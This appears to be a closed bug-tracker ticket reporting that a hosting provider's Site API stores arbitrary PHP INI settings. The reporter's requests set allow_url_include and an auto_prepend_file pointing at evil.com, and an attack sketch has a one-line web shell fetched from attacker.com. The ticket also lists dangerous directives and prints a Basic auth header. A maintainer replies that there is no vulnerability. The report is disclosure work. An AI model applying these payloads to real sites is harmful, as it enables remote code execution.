- Status Closed
-
Assigned To
cbay - Private
Opened by subhash - 12.07.2026
Last edited by cbay - 13.07.2026
FS#391 - Dangerous PHP INI Injection via Site API — `allow_url_include` and `auto_prepend_file` Accepted With
## Summary
The `php_ini` field in the Site API (`PATCH /v1/site/{id}/`) accepts arbitrary PHP configuration directives without any validation or blocklisting. I was able to store `allow_url_include=On` combined with `auto_prepend_file=http://evil.com/shell.php` — security-critical PHP settings that should never be user-controllable on a shared hosting platform.
The dangerous values were accepted with `204 No Content` and confirmed stored in the API response. I immediately reset the field after confirming storage.
Important note on scope of proof: I confirmed that the API stores these values without validation. I was NOT able to confirm whether the PHP runtime actually applies these stored INI settings at request time (no PHP file was available on the site during testing). The proven vulnerability is that the API accepts and stores dangerous PHP configuration without any validation. If these stored values are written into the Apache vhost config as `php_admin_value` directives (the likely implementation), then the impact escalates to Remote Code Execution.
## Severity
Medium (confirmed: dangerous PHP configuration accepted and stored without validation). Could escalate to Critical if the stored settings are applied by the PHP runtime — this was not verified during testing.
## Environment
Detail Value
——– ——-
Account subhash (ID 486630)
Site subhash.alwaysdata.net (ID 1058919)
Site type PHP / Apache
Server http21 (Debian 12, shared hosting)
## Steps to Reproduce
### Step 1 — Inject dangerous PHP INI values
```http
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NTE0NzoxMWI5OTY1NjYwMmQ0N2VlYTdiNWFjMzE5Mzk1MDYxZg==
Content-Type: application/json
{
"php_ini": "allow_url_include=On\nauto_prepend_file=http://evil.com/shell.php"
}
```
Response:
```http
HTTP/1.1 204 No Content
Server: nginx
Vary: Accept-Language, Cookie
```
No error, no validation, no blocklist check.
### Step 2 — Confirm the values were stored
```http
GET /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NTE0NzoxMWI5OTY1NjYwMmQ0N2VlYTdiNWFjMzE5Mzk1MDYxZg==
Accept: application/json
```
Response (excerpt):
```json
{
"id": 1058919,
"type": "php",
"php_ini": "allow_url_include=On\nauto_prepend_file=http://evil.com/shell.php",
"httpd": "apache"
}
```
Both directives stored verbatim.
### Step 3 — Test other dangerous settings
INI Directive API Response Risk
————– ————- ——
`allow_url_include=On` 204 — stored Enables remote file inclusion
`auto_prepend_file=http://evil.com/shell.php` 204 — stored Auto-includes remote script on every request
`auto_prepend_file=/etc/passwd` 204 — stored Leaks local files via PHP errors
`display_errors=On` + `error_reporting=E_ALL` 204 — stored Exposes internal paths, queries, stack traces
`expose_php=On` 204 — stored Reveals PHP version in headers
`open_basedir=/` Would override PHP's directory restriction Not tested to avoid risk
`disable_functions=` Would clear the function blocklist Not tested to avoid risk
### Step 4 — Immediate cleanup
```http
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NTE0NzoxMWI5OTY1NjYwMmQ0N2VlYTdiNWFjMzE5Mzk1MDYxZg==
Content-Type: application/json
{
"php_ini": ""
}
```
Response: `204 No Content` — cleared.
## What These Directives Do
### `allow_url_include=On`
This PHP directive is disabled by default for security reasons (it has been `Off` by default since PHP 5.2, released in 2006). When enabled, it allows PHP's `include()`, `require()`, and `auto_prepend_file`/`auto_append_file` to load files from remote URLs. This is the foundation for Remote File Inclusion (RFI) attacks.
### `auto_prepend_file=http://evil.com/shell.php`
This PHP directive causes the specified file to be automatically `require()`-ed before every PHP script execution — before the site's own code runs. Combined with `allow_url_include=On`, this means:
1. A user visits any page on the site (e.g., `http://subhash.alwaysdata.net/index.php`)
2. PHP's runtime first downloads `http://evil.com/shell.php` from the attacker's server
3. The downloaded PHP code is executed with full server-side privileges
4. Then the site's actual `index.php` runs
This is functionally equivalent to injecting a web shell into every PHP file on the site, without modifying any files on disk.
### Attack scenario (if PHP applies these settings)
```
Attacker sets php_ini:
allow_url_include=On
auto_prepend_file=http://attacker.com/payload.php Attacker hosts payload.php:
<?php system($_GET['cmd']); ?>
Any visitor to http://subhash.alwaysdata.net/anything.php?cmd=id
→ PHP downloads payload.php from attacker.com
→ executes system('id')
→ returns: uid=33(www-data) gid=33(www-data)
```
## Root Cause
The `php_ini` field in the site API has no validation. The backend stores whatever string the user provides and (presumably) writes it into the PHP configuration for the site's Apache vhost, likely as `php_admin_value` or `php_value` directives, or into a per-site `php.ini` file.
For contrast, the `log_file` field on the same API endpoint IS validated — it only allows alphanumeric characters and underscores. And the `log_format` field has format validation. But `php_ini` has none.
## Impact
What is proven: The API accepts and stores dangerous PHP INI directives (`allow_url_include=On`, `auto_prepend_file=http://evil.com/shell.php`) without any validation. A shared hosting platform should never allow users to set these values.
What is NOT proven: Whether the PHP runtime actually applies these stored values at request time. I was unable to verify execution because no PHP file was served during the testing window.
### If the stored values are applied by the PHP runtime (unverified — would be Critical)
These outcomes are plausible given the platform architecture (Apache vhosts with per-site PHP config), but none were demonstrated:
- Remote Code Execution via remote file inclusion
- Full server compromise via `www-data` access
- Persistent backdoor without on-disk files
### Confirmed impact regardless of execution
- Missing input validation on a security-critical field: The `php_ini` field accepts directives that are dangerous on any shared hosting platform. Even if execution is gated by another control, the absence of validation is a defense-in-depth failure.
- Inconsistency with other validated fields: `log_file` and `log_format` on the same API endpoint ARE validated, showing that the developers intended validation but missed `php_ini`.
## Comparison with Validated Fields
API Field Validation Accepts dangerous values?
———– ———– ————————–
`php_ini` None Yes — `allow_url_include`, `auto_prepend_file`, etc.
`log_file` Alphanumeric + underscore only No — rejects `/`, `.`, and special characters
`log_format` Format validation No — rejects invalid formats
`vhost_additional_directives` None Yes (see separate LFI/SSRF reports)
The inconsistency shows that the developers implemented validation for some fields but missed `php_ini`.
## Suggested Fix
1. Allowlist approach: Define a list of safe PHP INI directives that users are allowed to set (e.g., `max_execution_time`, `memory_limit`, `upload_max_filesize`, `post_max_size`, `date.timezone`). Reject everything else.
2. Blocklist approach (less safe, but immediate): At minimum, block these directives:
`allow_url_include` — enables remote file inclusion
`allow_url_fopen` — enables remote file operations
`auto_prepend_file` — auto-includes files before every script
`auto_append_file` — auto-includes files after every script
`open_basedir` (overriding/weakening) — removes directory restrictions
`disable_functions` (clearing) — removes function restrictions
`disable_classes` (clearing) — removes class restrictions
`extension` / `zend_extension` — loads arbitrary PHP extensions
`sendmail_path` — can be used for command execution
`mail.log` — can write to arbitrary files
3. Use `php_admin_value` for safety-critical settings: When writing user-provided INI values into the Apache config, use `php_value` (which can be overridden by `.htaccess` or user code) only for safe settings. Never allow user input to control `php_admin_value` directives, which override everything.
Thanks
Loading...
Available keyboard shortcuts
- Alt + ⇧ Shift + l Login Dialog / Logout
- Alt + ⇧ Shift + a Add new task
- Alt + ⇧ Shift + m My searches
- Alt + ⇧ Shift + t focus taskid search
Tasklist
- o open selected task
- j move cursor down
- k move cursor up
Task Details
- n Next task
- p Previous task
- Alt + ⇧ Shift + e ↵ Enter Edit this task
- Alt + ⇧ Shift + w watch task
- Alt + ⇧ Shift + y Close Task
Task Editing
- Alt + ⇧ Shift + s save task
Hello,
That's false, everything runs as your own user, therefore there's no vulnerability.
Kind regards,
Cyril